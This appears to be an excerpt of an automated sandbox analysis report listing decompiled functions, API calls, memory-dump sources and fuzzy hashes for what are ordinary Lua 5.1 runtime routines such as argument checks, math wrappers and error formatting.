Part of subcall function 1000F540: lua_tonumber.LUA5.1(?,?), ref: 1000F54F
Part of subcall function 1000F540: lua_isnumber.LUA5.1(?,?), ref: 1000F56C

modf.MSVCRT ref: 1001308D
lua_pushnumber.LUA5.1(?,?,?), ref: 100130A2
lua_pushnumber.LUA5.1(?,?,?,?,?,?), ref: 100130B2

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.$L_checknumber.lua_isnumber.lua_tonumber.modf
String ID:
API String ID: 2145581263-0
Opcode ID: e7561f9268e3568e43fe5e87ae92c07d2174972b4cf7e4164d19fab8076a063e
Instruction ID: 06642c7130660ea7ddea44d8d94ec2912d76749f3e8a5f7c0d5c0299b166c128
Opcode Fuzzy Hash: e7561f9268e3568e43fe5e87ae92c07d2174972b4cf7e4164d19fab8076a063e
Instruction Fuzzy Hash: 03F08975514610ABD200EB54DC46DAB77ECDF88650F004659F99443281DA70FE50C7E7

Uniqueness

Uniqueness Score: -1.00%

Function 005E2A60, Relevance: 6.0, APIs: 4, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E005E2A60(void* __eax, intOrPtr _a4) {
				intOrPtr _t5;

				_t5 = _a4;
				_push(0);
				_push(1);
				_push(_t5);
				L005E3F32();
				_push(__eax);
				_push(0xffffd8f0);
				_push(_t5);
				L005E3F02();
				_push(0xffffffff);
				_push(_t5);
				L005E3F4A();
				if(__eax == 0) {
					_push(__eax);
					_push(_t5);
					L005E3FAA();
				}
				return 1;
			}

0x005e2a61
0x005e2a66
0x005e2a68
0x005e2a6a
0x005e2a6b
0x005e2a72
0x005e2a73
0x005e2a78
0x005e2a79
0x005e2a7e
0x005e2a80
0x005e2a81
0x005e2a8b
0x005e2a8d
0x005e2a8e
0x005e2a8f
0x005e2a94
0x005e2a9e

APIs

luaL_checklstring.LUA5.1(?,00000001,00000000), ref: 005E2A6B
lua_getfield.LUA5.1(?,FFFFD8F0,00000000,?,00000001,00000000), ref: 005E2A79
lua_type.LUA5.1(?,000000FF,?,FFFFD8F0,00000000,?,00000001,00000000), ref: 005E2A81
luaL_newmetatable.LUA5.1(?,00000000), ref: 005E2A8F

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checklstring.L_newmetatable.lua_getfield.lua_type.
String ID:
API String ID: 3824222968-0
Opcode ID: fade0679d2f0a8ed446a734281535f9f6d186e53255a251cf4e2c18c452b87a0
Instruction ID: c38aa5f8f9bfee55a6b088475e9ae7125e9776dd774f1fb25e5f7fb4c8946619
Opcode Fuzzy Hash: fade0679d2f0a8ed446a734281535f9f6d186e53255a251cf4e2c18c452b87a0
Instruction Fuzzy Hash: 27E08C329591A331EB28211B6C0EFDF1D6C6FC2720F100224F8A0672C0E9885A8241BA

Uniqueness

Uniqueness Score: -1.00%

Function 005911C0, Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E005911C0(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* _t3;
				intOrPtr _t4;
				intOrPtr _t5;
				void* _t6;
				void* _t7;

				_t3 = __eax;
				_t5 = _a4;
				_t4 = _a8;
				_push(_t4);
				_push(_t5);
				L00594AFA();
				_t7 = _t6 + 8;
				if(__eax != 1) {
					_push(1);
					_push(_t5);
					L00594B24();
					_push(__eax);
					_push(_t4);
					_push(_t5);
					L00594B1E();
					_t7 = _t7 + 0x14;
				}
				_push(_t4);
				_push(_t5);
				L00594B18();
				return _t3;
			}

0x005911c0
0x005911c1
0x005911c6
0x005911ca
0x005911cb
0x005911cc
0x005911d1
0x005911d7
0x005911d9
0x005911db
0x005911dc
0x005911e1
0x005911e2
0x005911e3
0x005911e4
0x005911e9
0x005911e9
0x005911ec
0x005911ed
0x005911ee
0x005911f8

APIs

lua_type.LUA5.1(?,?), ref: 005911CC
lua_typename.LUA5.1(?,00000001), ref: 005911DC
luaL_typerror.LUA5.1(?,?,00000000,?,00000001), ref: 005911E4
lua_toboolean.LUA5.1(?,?), ref: 005911EE

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_typerror.lua_toboolean.lua_type.lua_typename.
String ID:
API String ID: 1850846656-0
Opcode ID: d6c29797a6604dead2f12a230ac2ac00b0ae06943b73c53ccfa48ac3fc58f0a9
Instruction ID: 10a141154b745d8428cd6a55a65688a4c864d6deb0fe813c9c651b7c8e20a45c
Opcode Fuzzy Hash: d6c29797a6604dead2f12a230ac2ac00b0ae06943b73c53ccfa48ac3fc58f0a9
Instruction Fuzzy Hash: ECD0C26290152233CD2132052C0AECF2D5EFED7701F090419F50062102D2419E4785FB

Uniqueness

Uniqueness Score: -1.00%

Function 10010770, Relevance: 6.0, APIs: 4, Instructions: 24COMMON

Download Yara Rule

APIs

luaL_checktype.LUA5.1(?,00000001,00000005), ref: 1001077A

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

lua_settop.LUA5.1(?,00000002,?,00000001,00000005), ref: 10010782
lua_next.LUA5.1(?,00000001,?,00000002,?,00000001,00000005), ref: 1001078A
lua_pushnil.LUA5.1(?), ref: 1001079E

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checktype.lua_next.lua_pushnil.lua_settop.lua_type.
String ID:
API String ID: 1261409042-0
Opcode ID: f07f063ddbfadd8bd0b6d73f70e9e7e12faf5077b72ae9696625e079ca1a0d6b
Instruction ID: 4b8d25b01286eefd8432207b5f966833394c0fbc1cdcb66d33611f7161ce9d44
Opcode Fuzzy Hash: f07f063ddbfadd8bd0b6d73f70e9e7e12faf5077b72ae9696625e079ca1a0d6b
Instruction Fuzzy Hash: ADD05E7EB5562032F921A11C7C07FCF12488F017D8F018060FA006E1CBEADABEC202EA

Uniqueness

Uniqueness Score: -1.00%

Function 00592F20, Relevance: 6.0, APIs: 4, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E00592F20(void* __eax, intOrPtr _a4) {
				intOrPtr _t4;
				void* _t5;
				void* _t6;

				_t4 = _a4;
				_push(1);
				_push(_t4);
				L00594AB8();
				_push(1);
				_push(_t4);
				L00594AFA();
				_t6 = _t5 + 0x10;
				if(__eax == 0) {
					_push(__eax);
					_push(E00593020);
					_push(_t4);
					L00594ABE();
					_t6 = _t6 + 0xc;
				}
				_push(1);
				_push(E00592F70);
				_push(_t4);
				L00594ABE();
				return 1;
			}

0x00592f21
0x00592f25
0x00592f27
0x00592f28
0x00592f2d
0x00592f2f
0x00592f30
0x00592f35
0x00592f3a
0x00592f3c
0x00592f3d
0x00592f42
0x00592f43
0x00592f48
0x00592f48
0x00592f4b
0x00592f4d
0x00592f52
0x00592f53
0x00592f61

APIs

lua_settop.LUA5.1(?,00000001), ref: 00592F28
lua_type.LUA5.1(?,00000001,?,00000001), ref: 00592F30
lua_pushcclosure.LUA5.1(?,00593020,00000000), ref: 00592F43
lua_pushcclosure.LUA5.1(?,00592F70,00000001), ref: 00592F53

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushcclosure.$lua_settop.lua_type.
String ID:
API String ID: 895800768-0
Opcode ID: a0a85ab06c2f8afb204ae56bf6707072bd67973ad5afd2cab15b12f0ca2d8207
Instruction ID: bea9e443e4ddfdb06b892a712ebad961eaffdbf3617521a9a5043dedb5e51133
Opcode Fuzzy Hash: a0a85ab06c2f8afb204ae56bf6707072bd67973ad5afd2cab15b12f0ca2d8207
Instruction Fuzzy Hash: EFE01772AD662232ED2132246C4BFDF2D9E6F91700F040550F90475182E6C66E9306EE

Uniqueness

Uniqueness Score: -1.00%

Function 10013020, Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

luaL_checknumber.LUA5.1(?,00000001), ref: 1001302B

Part of subcall function 1000F540: lua_tonumber.LUA5.1(?,?), ref: 1000F54F
Part of subcall function 1000F540: lua_isnumber.LUA5.1(?,?), ref: 1000F56C

luaL_checknumber.LUA5.1(?,00000002,?,00000001), ref: 10013037
_CIfmod.MSVCRT ref: 10013042
lua_pushnumber.LUA5.1(?,00000001), ref: 1001304F

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checknumber.$Ifmodlua_isnumber.lua_pushnumber.lua_tonumber.
String ID:
API String ID: 3505366373-0
Opcode ID: 62efd09e0fd31bdd43a27f18d5515e4d5c6ff14394efa4d5e0e858166bc9ba16
Instruction ID: 3c8fecfbbbcc5ac20fa89f7645f4e47f3e8fb0d1f3232a23347d967250443d53
Opcode Fuzzy Hash: 62efd09e0fd31bdd43a27f18d5515e4d5c6ff14394efa4d5e0e858166bc9ba16
Instruction Fuzzy Hash: BBE0CD3A905A1032D501BA18EC43BDE3654DF44745F444C54FBC415186FA7675A843E7

Uniqueness

Uniqueness Score: -1.00%

Function 10013100, Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

luaL_checknumber.LUA5.1(?,00000001), ref: 1001310B

Part of subcall function 1000F540: lua_tonumber.LUA5.1(?,?), ref: 1000F54F
Part of subcall function 1000F540: lua_isnumber.LUA5.1(?,?), ref: 1000F56C

luaL_checknumber.LUA5.1(?,00000002,?,00000001), ref: 10013117
_CIpow.MSVCRT ref: 10013122
lua_pushnumber.LUA5.1(?,00000001), ref: 1001312F

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checknumber.$Ipowlua_isnumber.lua_pushnumber.lua_tonumber.
String ID:
API String ID: 3267329913-0
Opcode ID: 9972ff8354ea99224abd5f66d5458ebd6cb4cf0481174216d0a2aeada11f27ab
Instruction ID: 82b205bbfb0ca625517aa81951e2f77168dc916638a2a1bc2e654593ed28392c
Opcode Fuzzy Hash: 9972ff8354ea99224abd5f66d5458ebd6cb4cf0481174216d0a2aeada11f27ab
Instruction Fuzzy Hash: 2AE0CD3A905A1072D501BA18AC43BDE3754EF44745F444C54FBC415186FA7675A843EB

Uniqueness

Uniqueness Score: -1.00%

Function 10013250, Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

luaL_checknumber.LUA5.1(?,00000001,?), ref: 1001325D

Part of subcall function 1000F540: lua_tonumber.LUA5.1(?,?), ref: 1000F54F
Part of subcall function 1000F540: lua_isnumber.LUA5.1(?,?), ref: 1000F56C

frexp.MSVCRT ref: 10013265
lua_pushnumber.LUA5.1(?), ref: 10013273
lua_pushinteger.LUA5.1(?,?,?), ref: 1001327E

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checknumber.frexplua_isnumber.lua_pushinteger.lua_pushnumber.lua_tonumber.
String ID:
API String ID: 1448774794-0
Opcode ID: 4c3e952940d7fe02ed21136bd21feda291e681adba472bbe48afe4380d3ef522
Instruction ID: 38bfd3df028f9ea1a7c3705fb8cffd66021b4012f8dedd9ca33422e96ba0164a
Opcode Fuzzy Hash: 4c3e952940d7fe02ed21136bd21feda291e681adba472bbe48afe4380d3ef522
Instruction Fuzzy Hash: 27E0C275408520B7E200FB08EC86EEF73A8EF84680F018858F2C552186DA71BE9083AB

Uniqueness

Uniqueness Score: -1.00%

Function 10013290, Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

luaL_checkinteger.LUA5.1(?,00000002), ref: 10013298

Part of subcall function 1000F5C0: lua_tointeger.LUA5.1(?,?), ref: 1000F5CD
Part of subcall function 1000F5C0: lua_isnumber.LUA5.1(?,?), ref: 1000F5DD

luaL_checknumber.LUA5.1(?,00000001,00000000), ref: 100132A4

Part of subcall function 1000F540: lua_tonumber.LUA5.1(?,?), ref: 1000F54F
Part of subcall function 1000F540: lua_isnumber.LUA5.1(?,?), ref: 1000F56C

ldexp.MSVCRT ref: 100132AC
lua_pushnumber.LUA5.1(?), ref: 100132BA

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_isnumber.$L_checkinteger.L_checknumber.ldexplua_pushnumber.lua_tointeger.lua_tonumber.
String ID:
API String ID: 1481128383-0
Opcode ID: e11082ea3531322a630707df4fe98d7c899de75677f5bdc5092a89fcf24aed54
Instruction ID: 0ab013dac4fb7abbc8ae9a3d9dc7121f1c1cd75f0352ac28228651a314504eba
Opcode Fuzzy Hash: e11082ea3531322a630707df4fe98d7c899de75677f5bdc5092a89fcf24aed54
Instruction Fuzzy Hash: 32D02B35404920A2F1006704BC43BDE3658DF40345F004424F588511C2EA727AA103DB

Uniqueness

Uniqueness Score: -1.00%

Function 10011160, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

luaL_checktype.LUA5.1(?,00000001,00000005), ref: 1001116A

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

lua_pushvalue.LUA5.1(?,FFFFD8ED,?,00000001,00000005), ref: 10011175
lua_pushvalue.LUA5.1(?,00000001,?,FFFFD8ED,?,00000001,00000005), ref: 1001117D
lua_pushinteger.LUA5.1(?,00000000,?,00000001,?,FFFFD8ED,?,00000001,00000005), ref: 10011185

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushvalue.$L_checktype.lua_pushinteger.lua_type.
String ID:
API String ID: 24721969-0
Opcode ID: cc56a64ef1cc5af9231eb6a0c56c0ec9082d61638d7d27d9c3279e6b1a37eaa0
Instruction ID: d218346341a660f2c125709a8773d1685cc3dc23770557f88f162b1f4a64f410
Opcode Fuzzy Hash: cc56a64ef1cc5af9231eb6a0c56c0ec9082d61638d7d27d9c3279e6b1a37eaa0
Instruction Fuzzy Hash: B7D0C939656A3032F826A2197C43FCF11488F06BC0F050410B6003A9CAA6DA77C256EE

Uniqueness

Uniqueness Score: -1.00%

Function 100105D0, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

luaL_checkany.LUA5.1(?,00000001), ref: 100105D8

Part of subcall function 1000F470: lua_type.LUA5.1(?,?), ref: 1000F47C
Part of subcall function 1000F470: luaL_argerror.LUA5.1(?,?,value expected), ref: 1000F490

luaL_checkany.LUA5.1(?,00000002,?,00000001), ref: 100105E0
lua_rawequal.LUA5.1(?,00000001,00000002,?,00000002,?,00000001), ref: 100105EA
lua_pushboolean.LUA5.1(?,00000000,?,00000001,00000002,?,00000002,?,00000001), ref: 100105F1

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checkany.$L_argerror.lua_pushboolean.lua_rawequal.lua_type.
String ID:
API String ID: 2220746221-0
Opcode ID: 4d3814b43f2f41f3c97d38d8a858475beb2d96364ce402439e82299e8692e379
Instruction ID: 400b934363b9eee0b81d39b10819bdf5e21b76e98e980af2c6a30b824f3b3ece
Opcode Fuzzy Hash: 4d3814b43f2f41f3c97d38d8a858475beb2d96364ce402439e82299e8692e379
Instruction Fuzzy Hash: F2D0C97966BB3031F821A2686C43FEF114C8F467C4F008044FA417A1CAD7C97AC202EA

Uniqueness

Uniqueness Score: -1.00%

Function 10010600, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

luaL_checktype.LUA5.1(?,00000001,00000005), ref: 1001060A

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

luaL_checkany.LUA5.1(?,00000002,?,00000001,00000005), ref: 10010612

Part of subcall function 1000F470: lua_type.LUA5.1(?,?), ref: 1000F47C
Part of subcall function 1000F470: luaL_argerror.LUA5.1(?,?,value expected), ref: 1000F490

lua_settop.LUA5.1(?,00000002,?,00000002,?,00000001,00000005), ref: 1001061A
lua_rawget.LUA5.1(?,00000001,?,00000002,?,00000002,?,00000001,00000005), ref: 10010622

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_argerror.L_checkany.L_checktype.lua_rawget.lua_settop.
String ID:
API String ID: 2756819788-0
Opcode ID: c1dc9a9d874028ece1b2d86597cda87594e0cb13ecea84e8539976fcc406626c
Instruction ID: 9be861bf1e511a2615954dee03e73ed7100f5547964adc6b113aadaf0c867803
Opcode Fuzzy Hash: c1dc9a9d874028ece1b2d86597cda87594e0cb13ecea84e8539976fcc406626c
Instruction Fuzzy Hash: 96D0C939696A2031F821A2286C47FCF11498F06B84F018014B6003A1CBA7CA7AC202EA

Uniqueness

Uniqueness Score: -1.00%

Function 1000F230, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238

Part of subcall function 1000F1C0: lua_getstack.LUA5.1(?,?,?,?), ref: 1000F1D3
Part of subcall function 1000F1C0: lua_getinfo.LUA5.1(?,10019AE8,?,?,?,?), ref: 1000F1EA
Part of subcall function 1000F1C0: lua_pushfstring.LUA5.1(?,%s:%d: ,?,?,?,?,?,?,?,?), ref: 1000F206

lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_where.lua_concat.lua_error.lua_getinfo.lua_getstack.lua_pushfstring.lua_pushvfstring.
String ID:
API String ID: 4101597509-0
Opcode ID: 78510e1a05731b7ba6409e4c63686e18d25e43b837cfccee704360bb648c7365
Instruction ID: 832217e9430fee73a6c9cbed1ea2eef01abb9471d2da7a91ffc999e22f09da3c
Opcode Fuzzy Hash: 78510e1a05731b7ba6409e4c63686e18d25e43b837cfccee704360bb648c7365
Instruction Fuzzy Hash: DBD0A779105522B6F515D710EC43FEF228CCF46280F000409F14076086D6587F8243FB

Uniqueness

Uniqueness Score: -1.00%

Function 100110E0, Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

luaL_checktype.LUA5.1(?,00000001,00000005), ref: 100110EA

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

lua_pushvalue.LUA5.1(?,FFFFD8ED,?,00000001,00000005), ref: 100110F5
lua_pushvalue.LUA5.1(?,00000001,?,FFFFD8ED,?,00000001,00000005), ref: 100110FD
lua_pushnil.LUA5.1(?,?,00000001,?,FFFFD8ED,?,00000001,00000005), ref: 10011103

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushvalue.$L_checktype.lua_pushnil.lua_type.
String ID:
API String ID: 3949423682-0
Opcode ID: d33c98568faa0d1352257ddd9a6d1aa13053bc8eadfc959b8446c8c46f906b4a
Instruction ID: 28097c8dfa802664685f22f5430594742bc985632f50008c7c645218bade1eda
Opcode Fuzzy Hash: d33c98568faa0d1352257ddd9a6d1aa13053bc8eadfc959b8446c8c46f906b4a
Instruction Fuzzy Hash: 7ED0C93955693032F926A2597C43FCF11488F06BC4F014010B5003A9CAAAD937C216EE

Uniqueness

Uniqueness Score: -1.00%

Function 10010740, Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

luaL_checkany.LUA5.1(?,00000001), ref: 10010748

Part of subcall function 1000F470: lua_type.LUA5.1(?,?), ref: 1000F47C
Part of subcall function 1000F470: luaL_argerror.LUA5.1(?,?,value expected), ref: 1000F490

lua_type.LUA5.1(?,00000001,?,00000001), ref: 10010750
lua_typename.LUA5.1(?,00000000,?,00000001,?,00000001), ref: 10010757
lua_pushstring.LUA5.1(?,00000000,?,00000000,?,00000001,?,00000001), ref: 1001075E

Part of subcall function 10001980: lua_pushnil.LUA5.1(?), ref: 1000198D

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_argerror.L_checkany.lua_pushnil.lua_pushstring.lua_typename.
String ID:
API String ID: 946420111-0
Opcode ID: 9cafa7337e85dae264e2c16aec8342b97c4b3dc4216af531aa0e30aebf5a8025
Instruction ID: e2b48a9f37d566be11d4b03ebe451cdabb787dce5c203cf08c46f75f47ba8065
Opcode Fuzzy Hash: 9cafa7337e85dae264e2c16aec8342b97c4b3dc4216af531aa0e30aebf5a8025
Instruction Fuzzy Hash: DAD0C97951652036F511A2246C42FEF110CCF063C8F044000F9006619ACA8A7AD202EA

Uniqueness

Uniqueness Score: -1.00%

Function 10014B40, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 244COMMON

Download Yara Rule

APIs

_isctype.MSVCRT ref: 10014B8D
luaL_error.LUA5.1(?,missing '[' after '%%f' in pattern), ref: 10014BE8

Strings

missing '[' after '%%f' in pattern, xrefs: 10014BE2

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_error._isctype
String ID: missing '[' after '%%f' in pattern
API String ID: 2992898777-1831663757
Opcode ID: 2f5a257fe05d7ecc52b2f3b196f91e32a5278e3fc91bae5538ebea83e78f5d43
Instruction ID: ddacf325dd47b58493aaf29673f53c86b989d74cc0d79867b2c52b827aa2a8de
Opcode Fuzzy Hash: 2f5a257fe05d7ecc52b2f3b196f91e32a5278e3fc91bae5538ebea83e78f5d43
Instruction Fuzzy Hash: 57516FB760525256C710C625BC91ABBBBDDCFC21A6B0A04B5F955CF113EE36E89182F0

Uniqueness

Uniqueness Score: -1.00%

Function 1000C1B0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

luaM_realloc_.LUA5.1(?,00000000,00000000,00000001,?,00000000,?,?,?,?,0000000F,?,?,00000002,?,?), ref: 1000C21E

Strings

table overflow, xrefs: 1000C1F4

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: M_realloc_.
String ID: table overflow
API String ID: 3188633865-4099509905
Opcode ID: 28e56f87e0aa8bc017ed0a733989c682e6922d7ac4ab8037551c090224349856
Instruction ID: e1c7011d421de4e48aa3a02c8ac3545bcb30e337f3ccea302ce827ac6737016c
Opcode Fuzzy Hash: 28e56f87e0aa8bc017ed0a733989c682e6922d7ac4ab8037551c090224349856
